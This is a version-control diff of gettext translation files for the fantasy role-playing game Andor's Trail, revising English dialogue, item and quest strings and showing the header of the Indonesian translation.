@@ -27372,7 +27312,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27320,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27330,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27427,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27580,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27599,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27612,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27747,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27787,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27823,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27847,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27868,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27892,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27988,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28078,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28114,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28437,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28449,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28469,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28979,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28995,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29013,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29033,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29045,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29237,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31286,10 +31157,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31213,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31225,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36225,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36257,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36265,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36281,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36841,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36861,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36872,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36880,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36897,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36993,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37719,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37727,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38134,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38151,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

File diff suppressed because it is too large Load Diff

View File

@@ -1,3 +1,32 @@
# Indonesian translation for andors-trail
# Copyright (c) 2013 Rosetta Contributors and Canonical Ltd 2013
# This file is distributed under the same license as the andors-trail package.
# FIRST AUTHOR <EMAIL@ADDRESS>, 2013.
#
msgid ""
msgstr ""
"Project-Id-Version: andors-trail\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2013-11-10 11:48+0000\n"
"PO-Revision-Date: 2016-10-20 01:54+0000\n"
"Last-Translator: Muhammad Taufiq Sumadi <sumadi11895@gmail.com>\n"
"Language-Team: Indonesian <https://hosted.weblate.org/projects/andors-trail"
"/game-content/id/>\n"
"Language: id\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: Weblate 2.9-dev\n"
"X-Launchpad-Export-Date: 2015-11-02 12:27+0000\n"
#: [none]
msgid "translator-credits"
msgstr ""
"Launchpad Contributions:\n"
" Arief Setiadi Wibowo https://launchpad.net/~q-thrynx\n"
" Noza Putra Pratama https://launchpad.net/~mas-noza"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr ""
@@ -2856,7 +2885,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4632,7 +4661,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5599,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr ""
@@ -6749,7 +6778,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr ""
@@ -9390,7 +9418,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9575,7 @@ msgid "Depends on what I get in return."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9613,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21521,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21805,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21823,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22312,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22337,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22353,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22363,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22393,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22402,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22435,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22447,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22503,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22511,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22523,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22660,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
